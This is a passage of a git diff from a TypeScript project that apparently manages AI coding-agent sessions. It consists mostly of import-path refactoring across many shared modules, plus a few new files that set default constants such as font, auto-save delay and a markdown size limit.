expect(removed.agentLaunchChoices?.cursor).toEqual({ model: 'claude-opus-4-8' }) -}) diff --git a/src/shared/agent-launch/choices/agent-launch-settings.ts b/src/shared/agent-launch/choices/agent-launch-settings.ts index 8fd326b7997..38d436467c9 100644 --- a/src/shared/agent-launch/choices/agent-launch-settings.ts +++ b/src/shared/agent-launch/choices/agent-launch-settings.ts @@ -6,7 +6,7 @@ import { agentLaunchChoiceUpdates } from './agent-launch-choice-updates' import { projectAgentLaunchProfile } from './agent-launch-profile' import type { AgentLaunchChoices, AgentChoicePatch } from './agent-launch-choices' import { agentEnvironmentMutationUpdates, choiceUpdate } from './agent-launch-environment-updates' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { TuiAgent } from '../catalog/tui-agent' import { buildDefaultAgentSettingsUpdate } from './default-agent-settings' import { diff --git a/src/shared/agent-launch/choices/default-agent-settings.ts b/src/shared/agent-launch/choices/default-agent-settings.ts index 7e297e7ca5a..6761bed115a 100644 --- a/src/shared/agent-launch/choices/default-agent-settings.ts +++ b/src/shared/agent-launch/choices/default-agent-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { TuiAgent } from '../catalog/tui-agent' type DefaultAgentSettings = Pick diff --git a/src/shared/agent-launch/choices/structured-native-chat-launch-route.ts b/src/shared/agent-launch/choices/structured-native-chat-launch-route.ts index 7f802b7f310..1a9d327e57e 100644 --- a/src/shared/agent-launch/choices/structured-native-chat-launch-route.ts +++ b/src/shared/agent-launch/choices/structured-native-chat-launch-route.ts @@ -1,7 +1,7 @@ /** Share settings defaults and per-launch feasibility between renderer tab launches and orchestration workers to prevent drift. */ import { isAgentSessionHandleProvider } from '../../agent-session/lifecycle/provider-handles/agent-session-provider-handle' -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' import type { ProjectExecutionRuntimeResolution } from '../../execution-host/project-execution-runtime' import { STRUCTURED_AGENT_SESSION_CLIENT_LAUNCH_MODE_CAPABILITY, diff --git a/src/shared/agent-launch/choices/tui-agent-launch-defaults.ts b/src/shared/agent-launch/choices/tui-agent-launch-defaults.ts index 0314206e10a..1712ffe78ae 100644 --- a/src/shared/agent-launch/choices/tui-agent-launch-defaults.ts +++ b/src/shared/agent-launch/choices/tui-agent-launch-defaults.ts @@ -3,7 +3,7 @@ import { agentPermissionHostPlatform, permissionEnvNameMatches } from '../permissions/agent-permission-env' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { isTuiAgent } from '../catalog/tui-agent-config' import { YOLO_TUI_AGENT_ARGS, YOLO_TUI_AGENT_ENV } from '../permissions/tui-agent-permissions' import { diff --git a/src/shared/agent-launch/contracts/workspace-launch-kind.ts b/src/shared/agent-launch/contracts/workspace-launch-kind.ts index 1f0f6cbf369..7ea0c96bfb1 100644 --- a/src/shared/agent-launch/contracts/workspace-launch-kind.ts +++ b/src/shared/agent-launch/contracts/workspace-launch-kind.ts @@ -1,7 +1,7 @@ /** Derive launch kind from the resolved workspace ID on renderer and host. Floating has no backing row, uses its own directory setting and stays local; never trust caller-supplied kind. */ import type { AgentLaunchTarget } from './agent-launch-intent' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../workspace/identity/floating-workspace-id' import { parseWorkspaceKey } from '../../workspace/identity/workspace-scope' export type WorkspaceLaunchKind = 'git-worktree' | 'folder' | 'floating' diff --git a/src/shared/agent-launch/permissions/agent-chat-permission-mode.ts b/src/shared/agent-launch/permissions/agent-chat-permission-mode.ts index 7a07684c687..1307ef8bd90 100644 --- a/src/shared/agent-launch/permissions/agent-chat-permission-mode.ts +++ b/src/shared/agent-launch/permissions/agent-chat-permission-mode.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { resolvedTuiAgentArgsBypassPermissions } from '../choices/tui-agent-launch-defaults' import { YOLO_TUI_AGENT_ARGS } from './tui-agent-permissions' import { diff --git a/src/shared/agent-launch/permissions/tui-agent-permission-lift.ts b/src/shared/agent-launch/permissions/tui-agent-permission-lift.ts index 323c863d75e..56ebc0b8ae0 100644 --- a/src/shared/agent-launch/permissions/tui-agent-permission-lift.ts +++ b/src/shared/agent-launch/permissions/tui-agent-permission-lift.ts @@ -4,7 +4,7 @@ import { normalizeAgentModelOptionChoices } from '../choices/agent-launch-choices' import { agentPermissionHostPlatform, permissionEnvNameMatches } from './agent-permission-env' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { agentPermissionEnv, hasTypedAgentPermission, diff --git a/src/shared/agent-launch/picker/agent-launch-picker-defaults.ts b/src/shared/agent-launch/picker/agent-launch-picker-defaults.ts index d3d46844cf3..4334b148426 100644 --- a/src/shared/agent-launch/picker/agent-launch-picker-defaults.ts +++ b/src/shared/agent-launch/picker/agent-launch-picker-defaults.ts @@ -2,7 +2,7 @@ import { isAgentPermissionChoice } from '../permissions/tui-agent-permission-cho import { projectAgentLaunchProfile } from '../choices/agent-launch-profile' import { structuredLaunchSeedOptions } from '../../native-chat/input/session-options/native-chat-session-option-defaults' import { isAgentChatPermissionChoice } from '../permissions/agent-chat-permission-mode' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { TuiAgent } from '../catalog/tui-agent' import type { AgentPickerEntry } from './agent-launch-picker' diff --git a/src/shared/agent-launch/picker/agent-launch-picker-rows.ts b/src/shared/agent-launch/picker/agent-launch-picker-rows.ts index 9b56c8a6ae9..3c6f9665c40 100644 --- a/src/shared/agent-launch/picker/agent-launch-picker-rows.ts +++ b/src/shared/agent-launch/picker/agent-launch-picker-rows.ts @@ -1,10 +1,10 @@ import type { AgentPickerEntry } from './agent-launch-picker' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { nativeChatPreferenceFor, type NativeChatDefaultSettings } from '../choices/structured-native-chat-launch-route' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { TuiAgent } from '../catalog/tui-agent' import { filterEnabledTuiAgents, TUI_AGENT_AUTO_PICK_ORDER } from '../catalog/tui-agent-selection' import type { AgentSessionChatProgram } from '../../agent-session/agent-session-agent-availability' diff --git a/src/shared/agent-launch/picker/agent-launch-picker.ts b/src/shared/agent-launch/picker/agent-launch-picker.ts index 4282ca199e4..864eca752d4 100644 --- a/src/shared/agent-launch/picker/agent-launch-picker.ts +++ b/src/shared/agent-launch/picker/agent-launch-picker.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../execution-host' +import { parseExecutionHostId, type ExecutionHostId } from '../../execution-host/execution-host' import type { TextActionPickerCatalog } from './agent-launch-picker-text-action' import { agentPickerLaunchChoices } from './agent-launch-picker-effective-choices' import { agentPickerPanelArguments } from './agent-launch-picker-arguments' diff --git a/src/shared/agent-launch/startup/agent-launch-remote.ts b/src/shared/agent-launch/startup/agent-launch-remote.ts index 6bbb3a33d94..c54f1c2221a 100644 --- a/src/shared/agent-launch/startup/agent-launch-remote.ts +++ b/src/shared/agent-launch/startup/agent-launch-remote.ts @@ -3,7 +3,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ParsedExecutionHost -} from '../../execution-host' +} from '../../execution-host/execution-host' import { isWslUncPath } from '../../file-access/wsl-paths' /** SSH relays and Orca servers put plain `orca` on PATH; the Linux `orca-ide` rename is for local desktops and WSL. */ diff --git a/src/shared/agent-launch/startup/agent-startup-plan-inputs.ts b/src/shared/agent-launch/startup/agent-startup-plan-inputs.ts index 0673491cba9..25f6ca69cb3 100644 --- a/src/shared/agent-launch/startup/agent-startup-plan-inputs.ts +++ b/src/shared/agent-launch/startup/agent-startup-plan-inputs.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { SessionOptionValue } from '../../native-chat/input/native-chat-session-options' import type { TuiAgent } from '../catalog/tui-agent' import { diff --git a/src/shared/agent-launch/startup/codex-terminal-server-isolation.ts b/src/shared/agent-launch/startup/codex-terminal-server-isolation.ts index 758440840bd..8bd771445fe 100644 --- a/src/shared/agent-launch/startup/codex-terminal-server-isolation.ts +++ b/src/shared/agent-launch/startup/codex-terminal-server-isolation.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' type CodexTerminalServerIsolationSettings = | Partial> diff --git a/src/shared/agent-launch/startup/tui-agent-launch-command-override.ts b/src/shared/agent-launch/startup/tui-agent-launch-command-override.ts index dcf1fb023d8..39e67376b65 100644 --- a/src/shared/agent-launch/startup/tui-agent-launch-command-override.ts +++ b/src/shared/agent-launch/startup/tui-agent-launch-command-override.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { TuiAgent } from '../catalog/tui-agent' import { parseAgentCommand } from './agent-command-plan' diff --git a/src/shared/agent-session/agent-session-account-usage.ts b/src/shared/agent-session/agent-session-account-usage.ts index 536400142e0..4c73a5c3ac9 100644 --- a/src/shared/agent-session/agent-session-account-usage.ts +++ b/src/shared/agent-session/agent-session-account-usage.ts @@ -1,5 +1,5 @@ import type { AgentSessionRecord } from './lifecycle/agent-session-record' -import { isNativeLocalLocation } from '../execution-host' +import { isNativeLocalLocation } from '../execution-host/execution-host' import type { ProviderRateLimits } from '../agent-usage/rate-limits/rate-limit-types' import type { CodexResetCreditExpectedScope } from '../agent-accounts/codex/codex-reset-credit-scope' diff --git a/src/shared/agent-session/lifecycle/agent-session-record.ts b/src/shared/agent-session/lifecycle/agent-session-record.ts index c4a1a2bad13..edc5b4a70f0 100644 --- a/src/shared/agent-session/lifecycle/agent-session-record.ts +++ b/src/shared/agent-session/lifecycle/agent-session-record.ts @@ -16,7 +16,7 @@ import { import type { AgentSessionLastTurn } from './records/agent-session-last-turn' import type { AgentSessionForkedFrom } from './records/agent-session-forked-from' export type { AgentSessionForkedFrom } -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { isAgentSessionConversationCommandRecord } from '../agent-session-conversation-command' import type { AgentSessionConversationCommandRecord } from '../agent-session-conversation-command' import { diff --git a/src/shared/agent-session/options/model-catalog/host-model-catalog-snapshot-rules.ts b/src/shared/agent-session/options/model-catalog/host-model-catalog-snapshot-rules.ts index eceaa71d137..a713c6c584d 100644 --- a/src/shared/agent-session/options/model-catalog/host-model-catalog-snapshot-rules.ts +++ b/src/shared/agent-session/options/model-catalog/host-model-catalog-snapshot-rules.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../global-settings-types' +import type { GlobalSettings } from '../../../settings/global-settings-types' import type { PersistedNativeChatSessionOptions } from '../../../native-chat/input/native-chat-session-options' import type { AgentSessionModelCatalogResult } from '../../agent-session-wire' import { AGENT_SESSION_MODEL_CATALOG_SAVED_ONLY_RUNTIME_CAPABILITY } from '../../structured-agent-session-surface-capabilities' diff --git a/src/shared/agent-status/contracts/agent-status-subject.ts b/src/shared/agent-status/contracts/agent-status-subject.ts index 3d2ac77bee5..fd8624c0615 100644 --- a/src/shared/agent-status/contracts/agent-status-subject.ts +++ b/src/shared/agent-status/contracts/agent-status-subject.ts @@ -7,7 +7,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' const SUBJECT_KEY_PREFIX = 'agent-status-subject-v1:' const MAX_SCOPE_PART_LENGTH = 512 diff --git a/src/shared/agent-status/presentation/agent-activity-display-mode.ts b/src/shared/agent-status/presentation/agent-activity-display-mode.ts new file mode 100644 index 00000000000..5bf3376e632 --- /dev/null +++ b/src/shared/agent-status/presentation/agent-activity-display-mode.ts @@ -0,0 +1,7 @@ +import type { AgentActivityDisplayMode } from '../../ui-chrome/ui-chrome-types' + +export const DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE: AgentActivityDisplayMode = 'compact' + +export function normalizeAgentActivityDisplayMode(value: unknown): AgentActivityDisplayMode { + return value === 'full' || value === 'compact' ? value : DEFAULT_AGENT_ACTIVITY_DISPLAY_MODE +} diff --git a/src/shared/agent-status/presentation/dashboard-snapshot.ts b/src/shared/agent-status/presentation/dashboard-snapshot.ts index e0da7f3fb63..5a7ea10d4c8 100644 --- a/src/shared/agent-status/presentation/dashboard-snapshot.ts +++ b/src/shared/agent-status/presentation/dashboard-snapshot.ts @@ -1,6 +1,6 @@ import type { agentVerdictDisplayMark } from '../lifecycle/agent-main-agent-verdict' import type { AgentType, AgentWorkingMode } from '../contracts/agent-status-types' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { RepoIcon } from '../../repository/appearance/repo-icon' import type { TuiAgent } from '../../agent-launch/catalog/tui-agent' diff --git a/src/shared/ai-vault/contracts/ai-vault-session-deletion.ts b/src/shared/ai-vault/contracts/ai-vault-session-deletion.ts index 2b92b37eced..a89ea3d09d2 100644 --- a/src/shared/ai-vault/contracts/ai-vault-session-deletion.ts +++ b/src/shared/ai-vault/contracts/ai-vault-session-deletion.ts @@ -1,5 +1,5 @@ import type { AiVaultAgent } from './ai-vault-types' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' // IPC payload for aiVault:deleteSession. export type AiVaultDeleteSessionArgs = { diff --git a/src/shared/ai-vault/contracts/ai-vault-session-handoff.ts b/src/shared/ai-vault/contracts/ai-vault-session-handoff.ts index 851b5121c30..03836a28003 100644 --- a/src/shared/ai-vault/contracts/ai-vault-session-handoff.ts +++ b/src/shared/ai-vault/contracts/ai-vault-session-handoff.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { resolveNativeChatTranscriptAgent } from '../../native-chat/native-chat-agent-support' import type { AiVaultAgent } from './ai-vault-types' diff --git a/src/shared/ai-vault/contracts/ai-vault-session-title.ts b/src/shared/ai-vault/contracts/ai-vault-session-title.ts index 482f66ea833..1b3fa79993e 100644 --- a/src/shared/ai-vault/contracts/ai-vault-session-title.ts +++ b/src/shared/ai-vault/contracts/ai-vault-session-title.ts @@ -1,5 +1,5 @@ import type { AiVaultAgent, AiVaultSessionTitleKind } from './ai-vault-types' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' export const AI_VAULT_SESSION_TITLE_REQUEST_MAX_COUNT = 64 diff --git a/src/shared/ai-vault/contracts/ai-vault-types.ts b/src/shared/ai-vault/contracts/ai-vault-types.ts index fc3521e8fc8..008a7eb4dd8 100644 --- a/src/shared/ai-vault/contracts/ai-vault-types.ts +++ b/src/shared/ai-vault/contracts/ai-vault-types.ts @@ -1,7 +1,7 @@ import type { AiVaultScanIssueText } from '../scanning/ai-vault-scan-issue-copy' import type { TuiAgent } from '../../agent-launch/catalog/tui-agent' import type { AgentSessionAccountHome } from '../../agent-session/lifecycle/accounts/agent-session-account-home' -import type { ExecutionHostId, ExecutionHostScope } from '../../execution-host' +import type { ExecutionHostId, ExecutionHostScope } from '../../execution-host/execution-host' export const AI_VAULT_AGENTS = [ 'claude', diff --git a/src/shared/ai-vault/resume/ai-vault-resume-host-startup.ts b/src/shared/ai-vault/resume/ai-vault-resume-host-startup.ts index 1354f92db46..84684d60589 100644 --- a/src/shared/ai-vault/resume/ai-vault-resume-host-startup.ts +++ b/src/shared/ai-vault/resume/ai-vault-resume-host-startup.ts @@ -9,7 +9,7 @@ import { type AiVaultResumeHostShell, type AiVaultResumeStartup } from './ai-vault-resume-startup' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' import { managedDataAccountResumeEnv } from '../../agent-launch/environment/managed-data-account-resume' import type { AgentStartupShell } from '../../agent-launch/startup/tui-agent-startup-shell' diff --git a/src/shared/ai-vault/resume/ai-vault-resume-preparation.ts b/src/shared/ai-vault/resume/ai-vault-resume-preparation.ts index 2c0401d8f02..513316c0cbf 100644 --- a/src/shared/ai-vault/resume/ai-vault-resume-preparation.ts +++ b/src/shared/ai-vault/resume/ai-vault-resume-preparation.ts @@ -1,5 +1,5 @@ import type { AiVaultAgent, AiVaultSession } from '../contracts/ai-vault-types' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' export type AiVaultConversationCopy = { sessionId: string diff --git a/src/shared/ai-vault/resume/ai-vault-resume-startup.ts b/src/shared/ai-vault/resume/ai-vault-resume-startup.ts index 0864b64d474..4f98dedc08c 100644 --- a/src/shared/ai-vault/resume/ai-vault-resume-startup.ts +++ b/src/shared/ai-vault/resume/ai-vault-resume-startup.ts @@ -33,7 +33,7 @@ import { import { findOptionOccurrence } from '../../cli/command-option-occurrence' import { assertOpenCodeCopyUsesLocalStore } from '../../agent-launch/startup/opencode-launch-command' import { CLI_CONVERSATION_ADOPTING_AGENTS } from '../../agent-session/view/structured-agent-cli-conversation-adoption' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { parseWslUncPath } from '../../file-access/wsl-paths' import { managedDataAccountResumeEnv } from '../../agent-launch/environment/managed-data-account-resume' diff --git a/src/shared/ai-vault/resume/ai-vault-resume-target.ts b/src/shared/ai-vault/resume/ai-vault-resume-target.ts index e250caa7310..901a738e37a 100644 --- a/src/shared/ai-vault/resume/ai-vault-resume-target.ts +++ b/src/shared/ai-vault/resume/ai-vault-resume-target.ts @@ -7,7 +7,7 @@ import { parseExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { isWslUncPath, parseWslUncPath } from '../../file-access/wsl-paths' import { antigravitySessionOrigin } from '../../agent-session/lifecycle/provider-handles/antigravity-session-origin' import { getRepoIdFromWorktreeId } from '../../worktree/id' diff --git a/src/shared/ai-vault/resume/ai-vault-ssh-resume-target.ts b/src/shared/ai-vault/resume/ai-vault-ssh-resume-target.ts index 4612cc45cbc..ddbdf7142ae 100644 --- a/src/shared/ai-vault/resume/ai-vault-ssh-resume-target.ts +++ b/src/shared/ai-vault/resume/ai-vault-ssh-resume-target.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { isWslUncPath } from '../../file-access/wsl-paths' import { antigravitySessionOrigin } from '../../agent-session/lifecycle/provider-handles/antigravity-session-origin' diff --git a/src/shared/ai-vault/scanning/ai-vault-session-cwd-aliases.ts b/src/shared/ai-vault/scanning/ai-vault-session-cwd-aliases.ts index 02627605ca4..5534f870e9c 100644 --- a/src/shared/ai-vault/scanning/ai-vault-session-cwd-aliases.ts +++ b/src/shared/ai-vault/scanning/ai-vault-session-cwd-aliases.ts @@ -1,7 +1,7 @@ import type { AiVaultSession } from '../contracts/ai-vault-types' import { sessionFileExecutionNamespace } from './ai-vault-scope-cwd-match' import { normalizeRuntimePathForComparison } from '../../file-access/cross-platform-path' -import { normalizeExecutionHostId } from '../../execution-host' +import { normalizeExecutionHostId } from '../../execution-host/execution-host' /** A relationship or provider id alone does not prove that two rows recorded the same directory. */ export function withAiVaultSessionCwdAliases( diff --git a/src/shared/ai-vault/session-display/ai-vault-session-filters.ts b/src/shared/ai-vault/session-display/ai-vault-session-filters.ts index 84d56dd2001..57d0db70757 100644 --- a/src/shared/ai-vault/session-display/ai-vault-session-filters.ts +++ b/src/shared/ai-vault/session-display/ai-vault-session-filters.ts @@ -20,7 +20,7 @@ import { isAiVaultSessionRecoverableEmpty, isAiVaultSessionResumableContent } from '../contracts/ai-vault-types' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { sessionPreviewSearchText } from './ai-vault-session-display' // Move the plain descriptor type without importing renderer project-attribution runtime. diff --git a/src/shared/ai-vault/session-display/ai-vault-session-worktree.ts b/src/shared/ai-vault/session-display/ai-vault-session-worktree.ts index 4d9619f5472..fb380745326 100644 --- a/src/shared/ai-vault/session-display/ai-vault-session-worktree.ts +++ b/src/shared/ai-vault/session-display/ai-vault-session-worktree.ts @@ -7,7 +7,7 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import { createNormalizedPathInsideOrEqualMatcher, isRuntimePathAbsolute, diff --git a/src/shared/app-lifecycle/appearance/app-font-family.ts b/src/shared/app-lifecycle/appearance/app-font-family.ts new file mode 100644 index 00000000000..b1e71800e18 --- /dev/null +++ b/src/shared/app-lifecycle/appearance/app-font-family.ts @@ -0,0 +1 @@ +export const DEFAULT_APP_FONT_FAMILY = 'Geist' diff --git a/src/shared/artifacts/artifact-sharing-gate.ts b/src/shared/artifacts/artifact-sharing-gate.ts index 755c8b88990..42bd2a05faf 100644 --- a/src/shared/artifacts/artifact-sharing-gate.ts +++ b/src/shared/artifacts/artifact-sharing-gate.ts @@ -1,5 +1,5 @@ // Public artifact URLs require a user-granted capability; main/CLI/Settings share this gate. -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' export const ARTIFACT_SHARING_DISABLED_CODE = 'artifact_sharing_disabled' diff --git a/src/shared/automations/history/automation-session-reuse.ts b/src/shared/automations/history/automation-session-reuse.ts index 1f63f429eca..043bf6cb7e2 100644 --- a/src/shared/automations/history/automation-session-reuse.ts +++ b/src/shared/automations/history/automation-session-reuse.ts @@ -3,7 +3,7 @@ import type { AgentType } from '../../agent-status/contracts/agent-status-types' import type { AutomationRun } from './automation-run' import type { TuiAgent } from '../../agent-launch/catalog/tui-agent' import type { WorkspaceRunContext } from '../../work-items/task-source-context' -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' import { normalizeRuntimePathForComparison } from '../../file-access/cross-platform-path' export type AutomationSessionTarget = Pick & { diff --git a/src/shared/automations/ownership/automation-execution-target.ts b/src/shared/automations/ownership/automation-execution-target.ts index a7d3dfa39a4..9babe956951 100644 --- a/src/shared/automations/ownership/automation-execution-target.ts +++ b/src/shared/automations/ownership/automation-execution-target.ts @@ -1,6 +1,6 @@ import type { Automation, AutomationExecutionTargetType } from '../automation-definition' import type { Repo } from '../../repository/repo-types' -import { getRepoSshConnectionId } from '../../execution-host' +import { getRepoSshConnectionId } from '../../execution-host/execution-host' import type { AutomationWorkspaceSshPin } from './automation-workspace-pin' /** Fail closed when project resolution misses: create refuses; update retains the target unless explicitly moved. Capture SSH registration generations even through local folder-workspace pins so same-ID re-registration cannot impersonate the chosen host. */ diff --git a/src/shared/automations/ownership/automation-legacy-list-partition.ts b/src/shared/automations/ownership/automation-legacy-list-partition.ts index 156e387cf5c..760b6f2cf3c 100644 --- a/src/shared/automations/ownership/automation-legacy-list-partition.ts +++ b/src/shared/automations/ownership/automation-legacy-list-partition.ts @@ -3,7 +3,7 @@ import type { Automation } from '../automation-definition' import { AUTOMATION_ORPHAN_ISSUES } from './automation-list-scope' import { getAutomationRunRepoId } from '../history/automation-run-identity' -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' export type LegacyAutomationSelector = | { kind: 'self' } diff --git a/src/shared/automations/ownership/automation-list-scope.ts b/src/shared/automations/ownership/automation-list-scope.ts index cd96d40e020..f1abfbb4792 100644 --- a/src/shared/automations/ownership/automation-list-scope.ts +++ b/src/shared/automations/ownership/automation-list-scope.ts @@ -4,7 +4,7 @@ import type { Automation } from '../automation-definition' import type { AutomationUsageSummary } from '../history/automation-usage-summary' import type { FolderWorkspaceHost } from '../../folder-workspaces/folder-workspace-execution-host' import { getAutomationRunRepoId } from '../history/automation-run-identity' -import { parseExecutionHostId } from '../../execution-host' +import { parseExecutionHostId } from '../../execution-host/execution-host' import { sanitizeSshTargetGeneration } from '../../remote-runtime/ssh/ssh-target-generation' import { isWorkspaceSshPinRepinned } from './automation-workspace-repin' diff --git a/src/shared/automations/ownership/automation-repo-target.ts b/src/shared/automations/ownership/automation-repo-target.ts index 1e5a28a4224..a789b0d4367 100644 --- a/src/shared/automations/ownership/automation-repo-target.ts +++ b/src/shared/automations/ownership/automation-repo-target.ts @@ -5,7 +5,7 @@ import { getRepoExecutionHostId, isRepoSshOnlyHost, parseExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' /** A captured target names a row; a legacy bare id must resolve uniquely. */ export function findAutomationRepo< diff --git a/src/shared/automations/ownership/automation-workspace-provenance.ts b/src/shared/automations/ownership/automation-workspace-provenance.ts index a68697c18d2..e235d079d9d 100644 --- a/src/shared/automations/ownership/automation-workspace-provenance.ts +++ b/src/shared/automations/ownership/automation-workspace-provenance.ts @@ -1,6 +1,9 @@ import type { Automation } from '../automation-definition' import type { AutomationRun } from '../history/automation-run' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../execution-host/execution-host' import type { Repo } from '../../repository/repo-types' import type { AutomationWorkspaceProvenance, diff --git a/src/shared/browser/extensions/browser-extension-url.ts b/src/shared/browser/extensions/browser-extension-url.ts index 93d0d4721f8..6bdcab73f0a 100644 --- a/src/shared/browser/extensions/browser-extension-url.ts +++ b/src/shared/browser/extensions/browser-extension-url.ts @@ -1,4 +1,4 @@ -import '../../constants' +import '../../orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../browser-blank-page' import { normalizeBrowserNavigationUrl } from '../navigation/browser-url' diff --git a/src/shared/browser/navigation/browser-url.ts b/src/shared/browser/navigation/browser-url.ts index 3ee645ce9fc..0c9c7dbbe41 100644 --- a/src/shared/browser/navigation/browser-url.ts +++ b/src/shared/browser/navigation/browser-url.ts @@ -1,6 +1,6 @@ -import '../../constants' +import '../../orca-profiles/constants' import { ORCA_BROWSER_BLANK_URL } from '../browser-blank-page' -import { getCurrentLocalPlatform } from '../../execution-host' +import { getCurrentLocalPlatform } from '../../execution-host/execution-host' const LOCAL_ADDRESS_PATTERN = /^(?:localhost|127(?:\.\d{1,3}){3}|0\.0\.0\.0|\[[0-9a-f:]+\])(?::\d+)?(?:[/?#].*)?$/i diff --git a/src/shared/browser/profiles/browser-profile-scope.ts b/src/shared/browser/profiles/browser-profile-scope.ts index 2ae8a75bde3..f5c762e98dc 100644 --- a/src/shared/browser/profiles/browser-profile-scope.ts +++ b/src/shared/browser/profiles/browser-profile-scope.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../workspace/identity/floating-workspace-id' import { getRepoIdFromWorktreeId } from '../../worktree/id' import { parseWorkspaceKey } from '../../workspace/identity/workspace-scope' diff --git a/src/shared/connectors/external-conversation-link.ts b/src/shared/connectors/external-conversation-link.ts index cd0b4208ca2..fb348b89eff 100644 --- a/src/shared/connectors/external-conversation-link.ts +++ b/src/shared/connectors/external-conversation-link.ts @@ -1,5 +1,5 @@ import type { AgentProviderSessionMetadata } from '../agent-session/lifecycle/agent-session-resume' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' /** Where a connector conversation comes from; `dev` is the CLI that drives one without a service. */ export const CONNECTOR_SOURCES = ['slack', 'github', 'linear', 'discord', 'dev'] as const diff --git a/src/shared/editor/editor-typography.ts b/src/shared/editor/editor-typography.ts index 4725042929c..7c159cb1005 100644 --- a/src/shared/editor/editor-typography.ts +++ b/src/shared/editor/editor-typography.ts @@ -1,5 +1,5 @@ import type { EditorTypographySettings } from './appearance/editor-typography-settings-types' -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' import { buildFontFamily } from '../styles/monospace-font-family' import { normalizeFontWeight } from '../terminal/appearance/terminal-fonts' import { resolveTerminalLigaturesEnabled } from '../terminal/appearance/terminal-ligatures' diff --git a/src/shared/editor/launch/open-in-applications.ts b/src/shared/editor/launch/open-in-applications.ts index e64951830cf..eae85dba595 100644 --- a/src/shared/editor/launch/open-in-applications.ts +++ b/src/shared/editor/launch/open-in-applications.ts @@ -1,4 +1,4 @@ -import type { OpenInApplication } from '../../ui-chrome-types' +import type { OpenInApplication } from '../../ui-chrome/ui-chrome-types' export const OPEN_IN_APPLICATIONS_MAX = 8 export const BUILT_IN_EDITOR_COMMANDS = { diff --git a/src/shared/editor/markdown/rich-markdown-size-limit.ts b/src/shared/editor/markdown/rich-markdown-size-limit.ts new file mode 100644 index 00000000000..a4812c85091 --- /dev/null +++ b/src/shared/editor/markdown/rich-markdown-size-limit.ts @@ -0,0 +1,2 @@ +/** ProseMirror mounts whole documents. M-series Electron measurements at 300/450/600KB: longest tasks 0.66/1.02/1.41s; 600KB typing p95 39ms (#17134/#17147/#17158). Use cheap pre-parse byte guard, then source mode with Open anyway. */ +export const RICH_MARKDOWN_MAX_SIZE_BYTES = 600 * 1024 diff --git a/src/shared/editor/saving/editor-auto-save-delay.ts b/src/shared/editor/saving/editor-auto-save-delay.ts new file mode 100644 index 00000000000..432d8cc96a4 --- /dev/null +++ b/src/shared/editor/saving/editor-auto-save-delay.ts @@ -0,0 +1,5 @@ +export const DEFAULT_EDITOR_AUTO_SAVE_DELAY_MS = 1000 